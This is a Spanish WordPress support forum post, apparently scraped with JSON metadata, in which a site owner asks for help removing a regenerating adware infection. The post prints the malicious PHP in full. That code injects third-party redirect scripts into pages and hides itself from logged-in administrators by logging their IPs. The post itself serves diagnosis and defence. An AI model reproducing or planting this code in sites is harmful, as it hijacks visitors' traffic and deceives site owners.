Saludos.
\nEl enlace en referencia es un sitio de pruebas y producci\u00f3n. <\/p>\n
Quiero decirles que llevo un par de meses luchando contra este Adware Malware, virus o como quieran llamarle.
\nSe trata de un codgio que se auto regenera mediante 2 archivos .php, este es el sript. <\/p>\n
Ahora bien sabemos que la vulnerabilidad pudo ser detecta en algun plugin o falsa actualizaci\u00f3n descargada e instalada en e sitio, pero lo mas cumbre del caso es que todos las web alojadas fueron infectadas. <\/p>\n Este adware malware o como se le llame es un ladron de trafico, y mientras estas logueado como administrador nunca va a hacerce notar, una vez cierras la sesion y limpias la cache del navegador comienza a trabajar en tu web en cada click de enlace redirige a otros sitios sin relevancia ( porno, casinos, software basura, apuestas y pare de contar)<\/p>\n Donde se aloja? hasta ahora lo he detecta en la carpeta wp-include y son dos archivos php. wp-feed.php y wp-temp.php, estos archivos por mas que se borran vuelven a regenerarce, al escanear el sitio con Wordfence el los elimina y los pocos minutos estan regenerados nuevamente infectando el sitio.<\/p>\n Aqui les dejo el codigo de ambos. Y el archivo wp-tem.php solo esta escrita la ip desde donde conecto a mi sitios wordpress. <\/p>\n Como bien lo he mencionado, he hecho todo lo recomendado, nuevas instalaciones de wp, eliminaci\u00f3n de y re instalaci\u00f3n de plugin, he saneado seg\u00fan lo remendado en este foro de soporte… y nada!! ha Cambie de host, y los problemas contin\u00faan. <\/p>\n Si alguno de vosotros hab\u00e9is tenido este malware y lo ha solucionado, mucho le sabr\u00eda agradecer, ya tengo muchos problemas tratando de recuperar el sitio y algunos de clientes y esto me tiene muy agotado.<\/p>\n Agradeciendo su atenci\u00f3n y colaboraciones al caso.<\/p>\n Quedo atento de vuestros comentarios y agradeciendo la ayuda que me puedan prestar en este caso. <\/p>\n Un saludo. <\/p>\n","protected":false},"template":"","class_list":["post-69941","topic","type-topic","status-publish","hentry","topic-tag-deloplen","topic-tag-hackeo","topic-tag-virus","topic-tag-wordpress"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/es.wordpress.org\/support\/wp-json\/wp\/v2\/topic\/69941","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/es.wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/es.wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":1,"href":"https:\/\/es.wordpress.org\/support\/wp-json\/wp\/v2\/topic\/69941\/revisions"}],"predecessor-version":[{"id":69947,"href":"https:\/\/es.wordpress.org\/support\/wp-json\/wp\/v2\/topic\/69941\/revisions\/69947"}],"wp:attachment":[{"href":"https:\/\/es.wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=69941"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script type="text\/javascript" src="\/\/go.oclasrv.com\/apu.php?zoneid=1527634"><\/script><\/code><\/p>\n
\nwp-temp.php<\/p>\nini_set('display_errors', 0);\r\nerror_reporting(0);\r\n$wp_auth_key='08b370e35d008b6591dd40b0eec23025';\r\n\r\nif ( ! function_exists( 'slider_option' ) ) { \r\n\r\nfunction slider_option($content){ \r\nif(is_single())\r\n{\r\n\r\n$con = '\r\n';\r\n\r\n$con2 = '\r\n<script type="text\/javascript" src="\/\/go.oclasrv.com\/apu.php?zoneid=1527634"><\/script>\r\n<script async="async" type="text\/javascript" src="\/\/go.mobisla.com\/notice.php?p=1527635&interactive=1&pushup=1"><\/script>\r\n\r\n';\r\n\r\n$content=$content.$con2;\r\n}\r\nreturn $content;\r\n} \r\n\r\nfunction slider_option_footer(){ \r\nif(!is_single())\r\n{\r\n\r\n$con2 = '\r\n<script type="text\/javascript" src="\/\/go.oclasrv.com\/apu.php?zoneid=1527634"><\/script>\r\n<script async="async" type="text\/javascript" src="\/\/go.mobisla.com\/notice.php?p=1527635&interactive=1&pushup=1"><\/script>\r\n\r\n';\r\n\r\necho $con2;\r\n}\r\n} \r\n\r\nfunction setting_my_first_cookie() {\r\n setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);\r\n }\r\n\r\nif(is_user_logged_in())\r\n{\r\nadd_action( 'init', 'setting_my_first_cookie',1 );\r\n}\r\n\r\nif( current_user_can('edit_others_pages'))\r\n{\r\n\r\nif (file_exists(ABSPATH.'wp-includes\/wp-feed.php'))\r\n{\r\n$ip=@file_get_contents(ABSPATH.'wp-includes\/wp-feed.php');\r\n}\r\n\r\nif (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)\r\n{\r\n$ip.=$_SERVER['REMOTE_ADDR'].'\r\n';\r\n@file_put_contents(ABSPATH.'wp-includes\/wp-feed.php',$ip);\r\n\r\n}\r\n\r\n}\r\n\r\n$ref = $_SERVER['HTTP_REFERER'];\r\n$SE = array('google.','\/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');\r\nforeach ($SE as $source) {\r\n if (strpos($ref,$source)!==false) {\r\n setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); \r\n\t$sevisitor=true;\r\n }\r\n}\r\n\r\nif(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) \r\n{\r\n$adtxt=@file_get_contents(ABSPATH.'wp-includes\/wp-feed.php');\r\nif (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)\r\n{\r\nadd_filter('the_content','slider_option');\r\nadd_action('wp_footer','slider_option_footer');\r\nif($sevisitor==true || isset($_COOKIE['sevisitor']))\r\n{\r\n\r\n}\r\n\r\n}\r\n\r\n} \r\n\r\n}<\/code><\/pre>\n